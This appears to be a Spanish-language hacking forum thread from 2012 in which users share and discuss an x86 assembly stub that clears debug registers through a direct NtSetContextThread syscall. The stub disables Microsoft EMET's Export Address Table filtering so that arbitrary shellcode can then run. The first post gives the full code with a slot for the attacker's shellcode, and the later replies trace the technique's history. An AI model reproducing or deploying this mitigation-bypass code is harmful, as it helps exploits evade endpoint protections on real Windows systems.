Shellcoding en sistemas Microsoft Windows
Avatar de Usuario
newlog
El Eterno Alumno
 
Mensajes: 170
Registrado: Lun Jun 23, 2008 7:28 pm

Código para evadir EMET

por newlog Jue Ene 19, 2012 4:56 pm

Buenas!

Sólo quiero dejar constancia de un código que me he encontrado por la red con el cual es posible evadir la protección que implementa EMET. Imagino que nos vamos a acostumbrar a ver este código dentro de muchos shellcodes.

Código: Seleccionar todo
; BYPASSING EMET Export Address Table Access Filtering feature
; ------------------------------------------------------------------
; just a simple stub for shellcode that erases debug registers
; therefore no more emet breakpoints (no EAF anymore)
; if you want to use it on other systems (than XP) just change the
; NtSetContextThread_XP syscall value.
; ------------------------------------------------------------------
;
; and just for you information what is EAF (from the help file):
;
; In order to do something "useful", shellcode generally needs to call
; Windows APIs. However, in order to call an API, shellcode must first
; find the address where that API has been loaded. To do this the vast
; majority of shellcode iterates through the export address table of all
; loaded modules, looking for modules that contain useful APIs. Typically
; this involves kernel32.dll or ntdll.dll. Once an interesting module has
; been found, the shellcode can then figure out the address where an API
; in that module resides. This mitigation filters accesses to the Export
; Address Table (EAT), allowing or disallowing the read/write access based
; on the calling code. With EMET in place, most of today’s shellcode will
; be blocked when it tries to lookup the APIs needed for its payload.
;
; - Piotr Bania / www.piotrbania.com


CONTEXT_SIZE         equ   0000002cch
CURRENT_THREAD         equ   0FFFFFFFEh
NtSetContextThread_XP      equ    0000000D5h


mov      ebx, esp
sub      esp, CONTEXT_SIZE
mov      dword ptr [esp], CONTEXT_DEBUG_REGISTERS   
   

; well zeroing entire struct is not necessary but who cares.
mov      edi, esp
mov      ecx, CONTEXT_SIZE
add      edi, 4
sub      ecx, 4
xor      eax,eax
rep      stosb


push      esp         ; context
push      CURRENT_THREAD      

call      get_delta
get_delta:   pop    edx


lea      eax, [edx + (offset my_ret - offset get_delta)]
push      eax
push      eax

mov      edx, esp
mov      eax, NtSetContextThread_XP
db      0Fh, 034h         ;   sysenter
my_ret:   
mov      esp, ebx



; *** you are now free, no debug breakpoints ***

<write your standard shellcode here...>


El código lo he visto aquí. Lo cierto es que aun no lo he probado, pero no quería que quedara en el olvido ;)

Saludos
Imagen
Avatar de Usuario
vlan7
 
Mensajes: 87
Registrado: Jue Jul 22, 2010 3:45 pm
Ubicación: Mas alla del EIP

Re: Código para evadir EMET

por vlan7 Lun Ene 23, 2012 5:24 pm

Excelente, se de alguien compañero de un foro vecino que estaba trabajando con EMET a quien le gustara ver esto.

Un saludo.
int *p = new int[7];
p = p + 7;
*p = 42;

int a[7];
a[7] = 42; /* ESC[2;9y */
Avatar de Usuario
vlan7
 
Mensajes: 87
Registrado: Jue Jul 22, 2010 3:45 pm
Ubicación: Mas alla del EIP

Re: Código para evadir EMET

por vlan7 Mié Ene 25, 2012 12:13 pm

Hola,

Como sabreis EAF no es nuevo, y EMET de Microsoft no creo nada nuevo implementando EAF en su EMET; la primera persona que publico esas ideas fue precisamente el autor del codigo de evasion que enlazas, en 2005 en la Phrack. http://phrack.org/issues.html?issue=63&id=15 con constantes referencias a trabajos anteriores del mejor grupo de creadores de virus del mundo: el extinto 29A de aqui (de Vilagarcia de Arousa para ser exactos) Siempre lo dije: ¿Quieres realmente aprender ensamblador? Busca en un grupo local de creadores de virus. 8-)

De hecho la implementacion posterior de EAF en el momento en que comienzan a moverse "bypasses" antes on-the-wild hechos publicos en 2010 solo se diferencia de las ideas de ese articulo de la Phrack de 2005 en tan solo un breakpoint hacia debug. EMET no es mas que un puñado de breakpoints XD

Un saludo.
int *p = new int[7];
p = p + 7;
*p = 42;

int a[7];
a[7] = 42; /* ESC[2;9y */
Avatar de Usuario
newlog
El Eterno Alumno
 
Mensajes: 170
Registrado: Lun Jun 23, 2008 7:28 pm

Re: Código para evadir EMET

por newlog Mié Ene 25, 2012 7:37 pm

Muy grande el tio!


Sí, eso entendí del código, que bypaseaba los breakpoints que añade EMET cuando algo se ejecuta.

Curioso cuanto menos.

Y curioso es también que el ""creador"" de EMET, o almenos, uno de sus artífices que vino a explicarnos cómo iba a funcionar EMET antes de que saliera (en la primera Rooted) se ha cambiado de bando y ahora trabaja para Google. Curioso...

Saludos!
Imagen
javiover
 
Mensajes: 1
Registrado: Lun Mar 04, 2013 9:04 pm

Re: Código para evadir EMET

por javiover Lun Mar 04, 2013 9:08 pm

Es que Fermín, es mucho Fermín.

Desconocía que Piotr (o alguien), había dado con la tecla en este sentido.

Un saludo a todos ;-)
Avatar de Usuario
newlog
El Eterno Alumno
 
Mensajes: 170
Registrado: Lun Jun 23, 2008 7:28 pm

Re: Código para evadir EMET

por newlog Lun Mar 04, 2013 9:55 pm

Bienvenido javiover!

Sí, es genial ver una charla de Fermín y darte cuenta que aún te queda mucho... muuucho por aprender!
Imagen
Volver a Windows

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 0 invitados